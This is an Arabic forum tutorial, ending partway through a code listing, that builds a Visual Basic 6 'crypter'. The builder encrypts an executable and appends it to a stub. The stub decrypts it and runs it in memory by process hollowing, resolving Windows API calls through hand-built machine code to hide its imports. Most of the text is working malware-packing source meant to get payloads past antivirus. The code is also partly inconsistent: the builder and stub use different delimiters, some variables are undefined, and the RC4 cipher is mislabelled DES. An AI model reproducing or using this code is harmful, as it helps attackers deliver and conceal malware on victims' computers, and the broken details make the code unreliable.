[ Visual Basic 6 ] [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]

تم تحميل الصفحة في 1,4121670 ثانية
[ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]
إنضم
24 أغسطس 2011
المشاركات
865
الإعجابات
288
النقاط
0


الحمد لله الحي القيوم , الباقي وغيره لا يدوم
,رفع السماء وزينها بالنجوم , وامسك الأرض بجبال في الختوم
,صور بقدرته هذهِ الجسوم , ثم أماتها ومحا الرسوم ,
ثم ينفخ في الصور فإذا الميت يقوم
, ففريقٌ إلى دار النعيم وفريقٌ إلى نار السموم
أما بعد ,



أقولها لكم وبكل حُزن وأسى : هذا آخر يوم لي فِي دُخولي للمنتدى
سأشتاق لكم كَثيراً
ولكن سأتغيب لأقضي مَا هو أهم , ألا وهو مُستقبلي ,
سأترككم لمدة شَهر , لأبدأ في التجهيز لامتحانات آخِر العام
رَاجيا منكم الدعاء لي بالتوفيق



اليوم سأقدم لكم دَرساً جديداً , وأتمنى ألا يَكون الأخير
نظراً للمشاكل التي واجهت بعض الأعضاء في المنتدى بسبب شَرحي
السابق لبرمجة برنامج تشفير
اليوم سأعوض لكم , وسأشرح برمجة برنامج تشفير + شرح كل كود على حدى
من الكبير إلى الصغير
سَتبرمج , وستفهم مَا أنت فاعِل :44:

نبدأ باسم الله ,,





نَبدأ بفتح بَرنامج [ Visual Basic 6 ]









نُضيف الآتي :



ليصبح الفورم بهذا الشكل :



ثُم نعيد تسمية الأدوات , إلى ما نريد
ليصبح شكل الفورم هكذا :



نضغط عَلى [ Components ]





ونضيف 3 منها في الفورم :



والآن ضَغطتان على زر [ Browse ] لإدخال كود الاستعراض





كود:
[COLOR=RoyalBlue]With [COLOR=Black][COLOR=Red]CommonDialog1[/COLOR][/COLOR][/COLOR]
[COLOR=RoyalBlue][COLOR=Black] .Filter = "*.exe | .exe"[/COLOR][/COLOR]
[COLOR=RoyalBlue][COLOR=Black] .DialogTitle = "Select a File"[/COLOR][/COLOR]
[COLOR=RoyalBlue][COLOR=Black] .ShowOpen[/COLOR][/COLOR]
[COLOR=RoyalBlue][COLOR=Black] [COLOR=RoyalBlue]End With [/COLOR][/COLOR][/COLOR]
[COLOR=RoyalBlue][COLOR=Black][COLOR=RoyalBlue] [COLOR=Black][COLOR=Red]Text1[/COLOR].Text = [COLOR=Red]CommonDialog1[/COLOR].FileName[/COLOR][/COLOR][/COLOR][/COLOR]
مَا كتب بالأزرق هُو كلمات مَحجوزة
وَما كُتب بالأحمر هِي أسماء الأدوات ,

في هذا الكود استخدمنا الكلمة المحجوزة [ With ] لاختصار الكتابة
وأمرناه أن يجعل لها عنوان وصيغة افتراضية
ثم أمرناه أن يظهر نافذة فتح الملف
وفي النهاية أنهينا الأمر [ With ]
وثم أمرناه أن يجعل اسم البرنامج ومساره في صندوق النص ..

نكمل البرنامج :



نقرتان على زر [ Browse ] الثاني
وسنكتب نفس الكود ولكن باختلاف بسيط




كود:
[COLOR=RoyalBlue]With [/COLOR][COLOR=Red]CommonDialog2[/COLOR]
.Filter = "*.exe | .exe"
.DialogTitle = "Select The Stub"
.ShowOpen
[COLOR=RoyalBlue]End With[/COLOR]
[COLOR=Red]Text2.text [/COLOR]= [COLOR=Red]Commondialog2[/COLOR].FileName
نقرتان على زر [ About ] لإدخال كود " حول "





كود:
MsgBox "This Program was Programmed By :" & _
"Mr.Razor" & vbNewLine & "dev-point.com"
ببساطة : هذا الكود لإظهار رسالة مفادها أن هذا البرنامج تمت برمجته بواسطة فلان
تنويه : الدالة [ vbNewLine ] تعني إنزل سَطراً جديداً :28:

الآن نقرتان على زر [ Exit ] لإدخال كود الخروج ولكن بطريقة مميزة :15:





كود:
[COLOR=RoyalBlue]Dim [/COLOR]quit [COLOR=RoyalBlue]As Integer[/COLOR]
quit = MsgBox ("Are You Sure " & _
"?" , vbQuestion + vbYesNo, "Exit ?")
[COLOR=RoyalBlue]If [/COLOR]quit = vbYes [COLOR=RoyalBlue]Then End[/COLOR]
في هذا الكود البسيط أعلاه , عرفنا عن متغير من نوع [ Integer ] أي رقم
ثم أعطيناه قيمة وهي رسالة تظهر مفادها هل تريد الخروج ؟
وثم وضعنا كود أنه إذا ضغط زر نعم سيخرج , وإذا ضغط لا لن يخرج

إضاءة :
ألم تلاحظوا أننا لم نكتب End If ؟!
سأجيبكم بأن الجملة الشرطية إذا كانت تحتوي على أمر واحد يمكنك كتابتها على نفس السطر والاستغناء عن [ End If ] :15:

الآن ضغطة على زر [ Crypt ] لكتابة أمر التشفير :15:





كود:
With CommonDialog3
.Filter = ".exe*|.exe"
.DialogTitle = "Choose The Save Path"
.ShowSave
End With
Open CommonDialog2.FileName For Binary As #1
Dim po As String, nnc As String
po = Space(LOF(1) - 1)
Get #1, , po
Close #1
Open CommonDialog1.FileName For Binary As 1
nnc = Space(LOF(1) - 1)
Get #1, , nnc
Close #1
If Check1.Value = 1 Then
Dim gx As String
gx = ReadEOFData(CommonDialog1.FileName)
End If
Dim t As New Class1, xo As String
xo = t.EncryptString(nnc, "12345")
Open CommonDialog3.FileName For Binary As #1
Put #1, , po
Put #1, , "123rewr43f"
Put #1, , xo & "123rewr43f" & "123rewr43f"  & "123rewr43f" & mensaje
Close #1
If Check1.Value = 1 Then

Call WriteEOFData(CC.FileName, gx)
End If
 MsgBox " Finished !!" , vbInformation , "Crypter"
كُود صَعب ؟! :15:
صَدقني سَهل جدا جداً
شرح الكود ببساطة أن البرنامج سيفتح الستب , ويفرغ معلوماته ويضع معلومات الستب
ومن ثم يتحقق إذا كان خيار [ EOF ] مفعل , إذا كان كذلك , سيقوم بحفظ المعلومات الموجودة في [ EOF ]
وسيقوم بتشفير البيانات بالخوارزمية الموجودة مع البرنامج ويمكنك اختيار واحدة بشرط وضع كود فكها في الستب
ثم يضع البيانات الخاصة ب [ EOF ]
ويعطيك رِسالة بأن التشفير قد انتهى !! :15:


نقوم بإضافة موديل :






^
كود [ EOF ]

كود:
Public Function ReadEOFData(sFilePath As String) As String
On Error GoTo Err:
Dim ca As String, leon As String, perro As String
Dim mo As Long, lPos As Long, lPos2 As Long, lCount As Long
If Dir(sFilePath) = "" Then GoTo Err:
mo = FreeFile
Open sFilePath For Binary As #mo
ca = Space(LOF(mo))
Get #mo, , ca
Close #mo
lPos = InStr(1, StrReverse(ca), GetNullBytes(30))
leon = (Mid(StrReverse(ca), 1, lPos - 1))
ReadEOFData = StrReverse(leon)
If ReadEOFData = "" Then
MsgBox "EOF data was not detected!", vbInformation, "Info"
End If
Exit Function
Err:
ReadEOFData = vbNullString
End Function
Sub WriteEOFData(sFilePath As String, sEOFData As String)
Dim ca As String
Dim mo As Long
On Error Resume Next
If Dir(sFilePath) = "" Then Exit Sub
mo = FreeFile
Open sFilePath For Binary As #mo
ca = Space(LOF(mo))
Get #mo, , ca
Close #mo
Kill sFilePath
mo = FreeFile
Open sFilePath For Binary As #mo
Put #mo, , ca & sEOFData
Close #mo
End Sub
Public Function GetNullBytes(lNum) As String
Dim jdx As String
Dim i As Integer
For i = 1 To lNum
jdx = jdx & Chr(0)
Next
GetNullBytes = jdx
End Function
ببساطة , يقوم هذا الكود باستخراج بيانات السيرفر التي في [ EOF ]
ويقوم بحفظها , ثم في [ Function ] آخر سَيقوم بكتابتها
وبالتحديد عند انتهاء التشفير بالخوارزمية

نَقوم بإضافة كلاس مُوديل [ لخوارزمية DES ]





^
كود الخوارزيمة

كود:
'CryptAPI Encryption/Decryption Class
'------------------------------------
'
'Information concerning the CryptAPI
'encryption/decryption can probably
'be found somewhere on M$ homepage
'http://www.microsoft.com/
'
'(c) 2000, Fredrik Qvarfort
'

Option Explicit

Private m_Key As String

Private Declare Function CryptAcquireContext Lib "advapi32.dll" Alias "CryptAcquireContextA" (ByRef phProv As Long, ByVal pszContainer As String, ByVal pszProvider As String, ByVal dwProvType As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptCreateHash Lib "advapi32.dll" (ByVal hProv As Long, ByVal Algid As Long, ByVal hKey As Long, ByVal dwFlags As Long, ByRef phHash As Long) As Long
Private Declare Function CryptHashData Lib "advapi32.dll" (ByVal hHash As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptDeriveKey Lib "advapi32.dll" (ByVal hProv As Long, ByVal Algid As Long, ByVal hBaseData As Long, ByVal dwFlags As Long, ByRef phKey As Long) As Long
Private Declare Function CryptDestroyHash Lib "advapi32.dll" (ByVal hHash As Long) As Long
Private Declare Function CryptEncrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, ByRef pdwDataLen As Long, ByVal dwBufLen As Long) As Long
Private Declare Function CryptDestroyKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function CryptReleaseContext Lib "advapi32.dll" (ByVal hProv As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptDecrypt Lib "advapi32.dll" (ByVal hKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, ByRef pdwDataLen As Long) As Long

Private Const SERVICE_PROVIDER As String = "Microsoft Base Cryptographic Provider v1.0"
Private Const KEY_CONTAINER As String = "****************llica"
Private Const PROV_RSA_FULL As Long = 1
Private Const CRYPT_NEWKEYSET As Long = 8
Private Const ALG_CLASS_DATA_ENCRYPT As Long = 24576
Private Const ALG_CLASS_HASH As Long = 32768
Private Const ALG_TYPE_ANY As Long = 0
Private Const ALG_TYPE_STREAM As Long = 2048
Private Const ALG_SID_RC4 As Long = 1
Private Const ALG_SID_MD5 As Long = 3
Private Const CALG_MD5 As Long = ((ALG_CLASS_HASH Or ALG_TYPE_ANY) Or ALG_SID_MD5)
Private Const CALG_RC4 As Long = ((ALG_CLASS_DATA_ENCRYPT Or ALG_TYPE_STREAM) Or ALG_SID_RC4)
Private Const ENCRYPT_ALGORITHM As Long = CALG_RC4
Public Sub EncryptByte(ByteArray() As Byte, Optional Password As String)

  'Convert the array into a string, encrypt it
  'and then convert it back to an array
  ByteArray() = StrConv(EncryptString(StrConv(ByteArray(), vbUnicode), Password), vbFromUnicode)

End Sub

Public Function EncryptString(Text As String, Optional Password As String) As String
  
  'Set the new key if any was sent to the function
  If (Len(Password) > 0) Then Key = Password
  
  'Return the encrypted data
  EncryptString = EncryptDecrypt(Text, True)

End Function

Public Sub DecryptByte(ByteArray() As Byte, Optional Password As String)

  'Convert the array into a string, decrypt it
  'and then convert it back to an array
  ByteArray() = StrConv(DecryptString(StrConv(ByteArray(), vbUnicode), Password), vbFromUnicode)

End Sub


Public Function DecryptString(Text As String, Optional Password As String) As String
  
  'Set the new key if any was sent to the function
  If (Len(Password) > 0) Then Key = Password
  
  'Return the decrypted data
  DecryptString = EncryptDecrypt(Text, False)

End Function
Public Sub EncryptFile(SourceFile As String, DestFile As String, Optional Key As String)

  Dim Filenr As Integer
  Dim ByteArray() As Byte
  
  'Make sure the source file do exist
  If (Not (SourceFile)) Then
    Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
    Exit Sub
  End If
  
  'Open the source file and read the content
  'into a bytearray to pass onto encryption
  Filenr = FreeFile
  Open SourceFile For Binary As #Filenr
  ReDim ByteArray(0 To LOF(Filenr) - 1)
  Get #Filenr, , ByteArray()
  Close #Filenr
  
  'Encrypt the bytearray
  Call EncryptByte(ByteArray(), Key)

  'If the destination file already exist we need
  'to delete it since opening it for binary use
  'will preserve it if it already exist
  If ((DestFile)) Then Kill DestFile
  
  'Store the encrypted data in the destination file
  Filenr = FreeFile
  Open DestFile For Binary As #Filenr
  Put #Filenr, , ByteArray()
  Close #Filenr

End Sub


Public Sub DecryptFile(SourceFile As String, DestFile As String, Optional Key As String)

  Dim Filenr As Integer
  Dim ByteArray() As Byte
  
  'Make sure the source file do exist
  If (Not (SourceFile)) Then
    Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
    Exit Sub
  End If
  
  'Open the source file and read the content
  'into a bytearray to decrypt
  Filenr = FreeFile
  Open SourceFile For Binary As #Filenr
  ReDim ByteArray(0 To LOF(Filenr) - 1)
  Get #Filenr, , ByteArray()
  Close #Filenr
  
  'Decrypt the bytearray
  Call DecryptByte(ByteArray(), Key)

  'If the destination file already exist we need
  'to delete it since opening it for binary use
  'will preserve it if it already exist
  If ((DestFile)) Then Kill DestFile

  'Store the decrypted data in the destination file
  Filenr = FreeFile
  Open DestFile For Binary As #Filenr
  Put #Filenr, , ByteArray()
  Close #Filenr

End Sub

Private Function EncryptDecrypt(ByVal Text As String, Encrypt As Boolean) As String
  
  Dim hKey As Long
  Dim hHash As Long
  Dim lLength As Long
  Dim hCryptProv As Long
  
  'Get handle to CSP
  If (CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, CRYPT_NEWKEYSET) = 0) Then
    If (CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, 0) = 0) Then
      Call Err.Raise(vbObjectError, , "Error during CryptAcquireContext for a new key container." & vbCrLf & "A container with this name probably already exists.")
    End If
  End If
  
  'Create a hash object to calculate a session
  'key from the password (instead of encrypting
  'with the actual key)
  If (CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, hHash) = 0) Then
    Call Err.Raise(vbObjectError, , "Could not create a Hash Object (CryptCreateHash API)")
  End If
  
  'Hash the password
  If (CryptHashData(hHash, m_Key, Len(m_Key), 0) = 0) Then
    Call Err.Raise(vbObjectError, , "Could not calculate a Hash Value (CryptHashData API)")
  End If
  
  'Derive a session key from the hash object
  If (CryptDeriveKey(hCryptProv, ENCRYPT_ALGORITHM, hHash, 0, hKey) = 0) Then
    Call Err.Raise(vbObjectError, , "Could not create a session key (CryptDeriveKey API)")
  End If
  
  'Encrypt or decrypt depending on the Encrypt parameter
  lLength = Len(Text)
  If (Encrypt) Then
    If (CryptEncrypt(hKey, 0, 1, 0, Text, lLength, lLength) = 0) Then
      Call Err.Raise(vbObjectError, , "Error during CryptEncrypt.")
    End If
  Else
    If (CryptDecrypt(hKey, 0, 1, 0, Text, lLength) = 0) Then
      'Call Err.Raise(vbObjectError, , "Error during CryptDecrypt.")
    End If
  End If
  
  'Return the encrypted/decrypted data
  EncryptDecrypt = Left$(Text, lLength)
  
  'Destroy the session key
  If (hKey <> 0) Then Call CryptDestroyKey(hKey)
  
  'Destroy the hash object
  If (hHash <> 0) Then Call CryptDestroyHash(hHash)
  
  'Release provider handle
  If (hCryptProv <> 0) Then Call CryptReleaseContext(hCryptProv, 0)

End Function
Public Property Let Key(New_Value As String)

  'Do nothing if no change was made
  If (m_Key = New_Value) Then Exit Property
  
  'Set the new key
  m_Key = New_Value
  
End Property
[ DES ] هي خوارزمية تشفير تعتمد على دوال API
وهي قوية نوعاً ما , ويمكنك توليد الخوارزميات باستخدام برنامجي [ Mr.Code Generator ]

الآن نذهب لوضع اسماءنا على البرنامج ,,





وفِي النهاية :15:



وبهذا نكون قد انتهينا من تصميم وبرمجة البرنامج
وها أنت قد فهمت أكواده كاملة :15:



 
إنضم
24 أغسطس 2011
المشاركات
865
الإعجابات
288
النقاط
0
رد: [ شَرح جديد ][ عَمل برنامج تشفير بخواص قَوية + ستب صَغير ][ مَع شَرح كل كود ][ vb6 ]



الستب هو صلب البرنامج
وبدونه لا يوجد برنامج تشفير
ويجب علينا وضع كود الفك لخوارزمية التشفير حتى يعمل الباتش
وإلا ستظهر [ Run Time Error ] ولن يعمل البرنامج ,

نأتي الآن لشرح برمجة الستب







نقوم بحذف الفورم لتوفير المساحة :



نضيف موديل







كود:
Dim re As String, nbx() As String, v As String, vb() As Byte

Public Sub Main()
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
re = Space(LOF(1))
Get #1, , re
Close #1
Dim xo As New xd
nbx() = Split(re, "casa")
If nbx(2) = "SI" Then
MsgBox nbx(4), vbInformation, nbx(3)
End If
v = xo.DecryptString(nbx(1), "12345")
vb() = StrConv(v, vbFromUnicode)
Call Dinaurax(App.Path & "\" & App.EXEName & ".exe", vb(), Command)

End Sub
^
هذا الكود موجود في زر التشفير

نُضيف موديل آخر







كود:
Private Const CONTEXT_FULL              As Long = &H10007
Private Const MAX_PATH                  As Integer = 260
Private Const CREATE_SUSPENDED          As Long = &H4
Private Const MEM_COMMIT                As Long = &H1000
Private Const MEM_RESERVE               As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE    As Long = &H40

Private Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As Long
    bInheritHandle As Long
End Type


Private Type STARTUPINFO
    cb As Long
    lpReserved As Long
    lpDesktop As Long
    lpTitle As Long
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessID As Long
    dwThreadID As Long
End Type

Private Type FLOATING_SAVE_AREA
    ControlWord As Long
    StatusWord As Long
    TagWord As Long
    ErrorOffset As Long
    ErrorSelector As Long
    DataOffset As Long
    DataSelector As Long
    RegisterArea(1 To 80) As Byte
    Cr0NpxState As Long
End Type

Private Type CONTEXT
    ContextFlags As Long

    Dr0 As Long
    Dr1 As Long
    Dr2 As Long
    Dr3 As Long
    Dr6 As Long
    Dr7 As Long

    FloatSave As FLOATING_SAVE_AREA
    SegGs As Long
    SegFs As Long
    SegEs As Long
    SegDs As Long
    Edi As Long
    Esi As Long
    Ebx As Long
    Edx As Long
    Ecx As Long
    Eax As Long
    Ebp As Long
    Eip As Long
    SegCs As Long
    EFlags As Long
    Esp As Long
    SegSs As Long
End Type

Private Type IMAGE_DOS_HEADER
    e_magic As Integer
    e_cblp As Integer
    e_cp As Integer
    e_crlc As Integer
    e_cparhdr As Integer
    e_minalloc As Integer
    e_maxalloc As Integer
    e_ss As Integer
    e_sp As Integer
    e_csum As Integer
    e_ip As Integer
    e_cs As Integer
    e_lfarlc As Integer
    e_ovno As Integer
    e_res(0 To 3) As Integer
    e_oemid As Integer
    e_oeminfo As Integer
    e_res2(0 To 9) As Integer
    e_lfanew As Long
End Type

Private Type IMAGE_SECTION_HEADER
    SecName As String * 8
    VirtualSize As Long
    VirtualAddress  As Long
    SizeOfRawData As Long
    PointerToRawData As Long
    PointerToRelocations As Long
    PointerToLinenumbers As Long
    NumberOfRelocations As Integer
    NumberOfLinenumbers As Integer
    characteristics  As Long
End Type

Private Type IMAGE_DATA_DIRECTORY
    VirtualAddress As Long
    Size As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
    Magic As Integer
    MajorLinkerVersion As Byte
    MinorLinkerVersion As Byte
    SizeOfCode As Long
    SizeOfInitializedData As Long
    SizeOfUnitializedData As Long
    AddressOfEntryPoint As Long
    BaseOfCode As Long
    BaseOfData As Long
    ' NT additional fields.
    ImageBase As Long
    SectionAlignment As Long
    FileAlignment As Long
    MajorOperatingSystemVersion As Integer
    MinorOperatingSystemVersion As Integer
    MajorImageVersion As Integer
    MinorImageVersion As Integer
    MajorSubsystemVersion As Integer
    MinorSubsystemVersion As Integer
    W32VersionValue As Long
    SizeOfImage As Long
    SizeOfHeaders As Long
    CheckSum As Long
    SubSystem As Integer
    DllCharacteristics As Integer
    SizeOfStackReserve As Long
    SizeOfStackCommit As Long
    SizeOfHeapReserve As Long
    SizeOfHeapCommit As Long
    LoaderFlags As Long
    NumberOfRvaAndSizes As Long
    DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type



Private Type IMAGE_FILE_HEADER
    Machine As Integer
    NumberOfSections As Integer
    TimeDateStamp As Long
    PointerToSymbolTable As Long
    NumberOfSymbols As Long
    SizeOfOptionalHeader As Integer
    characteristics As Integer
End Type

Private Type IMAGE_NT_HEADERS
    Signature As Long
    FileHeader As IMAGE_FILE_HEADER
    OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName  As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As  Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long,  ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal  lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO,  lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal  hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As  Long, lpNumberOfBytesWritten As Long) As Long

Declare Sub RtlMoveMemory Lib "kernel32" (dest As Any, src As Any, ByVal L As Long)
Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal  p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As  Long
Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long


Public Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
    Dim xcfdcv(64)   As Byte 'enought to hold code + 10 params
    Dim i           As Long
    Dim poxcx        As Long
    Dim miiuxz        As String

    xcfdcv(0) = &H58: xcfdcv(1) = &H59: xcfdcv(2) = &H59
    xcfdcv(3) = &H59: xcfdcv(4) = &H59: xcfdcv(5) = &H50
   
    poxcx = 6
   
    For i = UBound(Params) To 0 Step -1
        xcfdcv(poxcx) = &H68: poxcx = poxcx + 1
        miiuxz = (Params(i)): GoSub PutLong: poxcx = poxcx + 4
    Next
   
    xcfdcv(poxcx) = &HE8: poxcx = poxcx + 1
    miiuxz = GetProcAddress(LoadLibraryA(sLib), sMod) - VarPtr(xcfdcv(poxcx)) - 4
    GoSub PutLong: poxcx = poxcx + 4
    xcfdcv(poxcx) = &HC3
    CallApiByName = CallWindowProcA(VarPtr(xcfdcv(0)), 0, 0, 0, 0)
   
    Exit Function
PutLong:
    'This is cheap replacement for RtlMoveMemory/putmem4 (hi/lo word/byte)
    miiuxz = Right$(String(8, "0") & Hex(miiuxz), 8)
    xcfdcv(poxcx + 0) = ("&h" & Mid$(miiuxz, 7, 2))
    xcfdcv(poxcx + 1) = ("&h" & Mid$(miiuxz, 5, 2))
    xcfdcv(poxcx + 2) = ("&h" & Mid$(miiuxz, 3, 2))
    xcfdcv(poxcx + 3) = ("&h" & Mid$(miiuxz, 1, 2))
    Return
End Function
Sub Dinaurax(sHost As String, lpBuffer() As Byte, cmdline As String)
On Error Resume Next
Dim tengounperroqueescoll As IMAGE_DOS_HEADER
Dim tengoquesalirbienestesemestre As IMAGE_NT_HEADERS
Dim tengoquesalirbienenmatematica As IMAGE_SECTION_HEADER
Dim neceistounamejorpc As STARTUPINFO
Dim elconocimientoespoder As PROCESS_INFORMATION
Dim windowsxpesunamierda As CONTEXT
Dim i As Long

    neceistounamejorpc.cb = Len(neceistounamejorpc)
    windowsxpesunamierda.ContextFlags = CONTEXT_FULL

    Call CallApiByName("kernel32", "RtlMoveMemory",  VarPtr(tengounperroqueescoll), VarPtr(lpBuffer(0)),  Len(tengounperroqueescoll))
    Call CallApiByName("kernel32", "RtlMoveMemory",  VarPtr(tengoquesalirbienestesemestre),  VarPtr(lpBuffer(tengounperroqueescoll.e_lfanew)),  Len(tengoquesalirbienestesemestre))
    CreateProcessA sHost, " " & cmdline, 0, 0, False, CREATE_SUSPENDED, 0, 0, neceistounamejorpc, elconocimientoespoder
  
    Call CallApiByName("ntdll", "NtUnmapViewOfSection",  elconocimientoespoder.hProcess,  tengoquesalirbienestesemestre.OptionalHeader.ImageBase)
    Call CallApiByName("kernel32", "VirtualAllocEx",  elconocimientoespoder.hProcess,  tengoquesalirbienestesemestre.OptionalHeader.ImageBase,  tengoquesalirbienestesemestre.OptionalHeader.SizeOfImage, MEM_COMMIT Or  MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    Call CallApiByName("kernel32", "WriteProcessMemory",  elconocimientoespoder.hProcess,  tengoquesalirbienestesemestre.OptionalHeader.ImageBase,  VarPtr(lpBuffer(0)),  tengoquesalirbienestesemestre.OptionalHeader.SizeOfHeaders, 0)

For i = 0 To tengoquesalirbienestesemestre.FileHeader.NumberOfSections - 1

    RtlMoveMemory tengoquesalirbienenmatematica,  lpBuffer(tengounperroqueescoll.e_lfanew +  Len(tengoquesalirbienestesemestre) + Len(tengoquesalirbienenmatematica) *  i), Len(tengoquesalirbienenmatematica)
    Call CallApiByName("kernel32", "WriteProcessMemory",  elconocimientoespoder.hProcess,  tengoquesalirbienestesemestre.OptionalHeader.ImageBase +  tengoquesalirbienenmatematica.VirtualAddress,  VarPtr(lpBuffer(tengoquesalirbienenmatematica.PointerToRawData)),  tengoquesalirbienenmatematica.SizeOfRawData, 0)

Next

    Call CallApiByName("kernel32", "GetThreadContext", elconocimientoespoder.hThread, VarPtr(windowsxpesunamierda))
    Call CallApiByName("kernel32", "WriteProcessMemory",  elconocimientoespoder.hProcess, windowsxpesunamierda.Ebx + 8,  VarPtr(tengoquesalirbienestesemestre.OptionalHeader.ImageBase), 4, 0)
    windowsxpesunamierda.Eax =  tengoquesalirbienestesemestre.OptionalHeader.ImageBase +  tengoquesalirbienestesemestre.OptionalHeader.AddressOfEntryPoint
    Call CallApiByName("kernel32", "SetThreadContext", elconocimientoespoder.hThread, VarPtr(windowsxpesunamierda))
    Call CallApiByName("kernel32", "ResumeThread", elconocimientoespoder.hThread)

End Sub

Public Function ThisExe() As String
    Dim gfxxc        As Long
    Dim dx2cx(255) As Byte
    gfxxc = CallApiByName("kernel32", "GetModuleFileNameA", App.hInstance, VarPtr(dx2cx(0)), 256)
    ThisExe = Left$(StrConv(dx2cx, vbUnicode), gfxxc)
End Function
^
مَازلت أحاول فَهمه :15: !

نُضيف كلاس موديل :







كود:
'CryptAPI Encryption/Decryption Class
'------------------------------------
'
'Information concerning the CryptAPI
'encryption/decryption can probably
'be found somewhere on M$ homepage
'http://www.microsoft.com/
'
'(c) 2000, Fredrik Qvarfort
'

Option Explicit

Private m_Key As String

Private Declare Function CryptAcquireContext Lib "advapi32.dll" Alias  "CryptAcquireContextA" (ByRef phProv As Long, ByVal pszContainer As  String, ByVal pszProvider As String, ByVal dwProvType As Long, ByVal  dwFlags As Long) As Long
Private Declare Function CryptCreateHash Lib "advapi32.dll" (ByVal hProv  As Long, ByVal Algid As Long, ByVal hKey As Long, ByVal dwFlags As  Long, ByRef phHash As Long) As Long
Private Declare Function CryptHashData Lib "advapi32.dll" (ByVal hHash  As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal dwFlags  As Long) As Long
Private Declare Function CryptDeriveKey Lib "advapi32.dll" (ByVal hProv  As Long, ByVal Algid As Long, ByVal hBaseData As Long, ByVal dwFlags As  Long, ByRef phKey As Long) As Long
Private Declare Function CryptDestroyHash Lib "advapi32.dll" (ByVal hHash As Long) As Long
Private Declare Function CryptEncrypt Lib "advapi32.dll" (ByVal hKey As  Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long,  ByVal pbData As String, ByRef pdwDataLen As Long, ByVal dwBufLen As  Long) As Long
Private Declare Function CryptDestroyKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function CryptReleaseContext Lib "advapi32.dll" (ByVal hProv As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptDecrypt Lib "advapi32.dll" (ByVal hKey As  Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long,  ByVal pbData As String, ByRef pdwDataLen As Long) As Long

Private Const SERVICE_PROVIDER As String = "Microsoft Base Cryptographic Provider v1.0"
Private Const KEY_CONTAINER As String = "****************llica"
Private Const PROV_RSA_FULL As Long = 1
Private Const CRYPT_NEWKEYSET As Long = 8
Private Const ALG_CLASS_DATA_ENCRYPT As Long = 24576
Private Const ALG_CLASS_HASH As Long = 32768
Private Const ALG_TYPE_ANY As Long = 0
Private Const ALG_TYPE_STREAM As Long = 2048
Private Const ALG_SID_RC4 As Long = 1
Private Const ALG_SID_MD5 As Long = 3
Private Const CALG_MD5 As Long = ((ALG_CLASS_HASH Or ALG_TYPE_ANY) Or ALG_SID_MD5)
Private Const CALG_RC4 As Long = ((ALG_CLASS_DATA_ENCRYPT Or ALG_TYPE_STREAM) Or ALG_SID_RC4)
Private Const ENCRYPT_ALGORITHM As Long = CALG_RC4
Public Sub EncryptByte(ByteArray() As Byte, Optional Password As String)

  'Convert the array into a string, encrypt it
  'and then convert it back to an array
  ByteArray() = StrConv(EncryptString(StrConv(ByteArray(), vbUnicode), Password), vbFromUnicode)

End Sub

Public Function EncryptString(Text As String, Optional Password As String) As String
  
  'Set the new key if any was sent to the function
  If (Len(Password) > 0) Then Key = Password
  
  'Return the encrypted data
  EncryptString = EncryptDecrypt(Text, True)

End Function

Public Sub DecryptByte(ByteArray() As Byte, Optional Password As String)

  'Convert the array into a string, decrypt it
  'and then convert it back to an array
  ByteArray() = StrConv(DecryptString(StrConv(ByteArray(), vbUnicode), Password), vbFromUnicode)

End Sub


Public Function DecryptString(Text As String, Optional Password As String) As String
  
  'Set the new key if any was sent to the function
  If (Len(Password) > 0) Then Key = Password
  
  'Return the decrypted data
  DecryptString = EncryptDecrypt(Text, False)

End Function
Public Sub EncryptFile(SourceFile As String, DestFile As String, Optional Key As String)

  Dim Filenr As Integer
  Dim ByteArray() As Byte
  
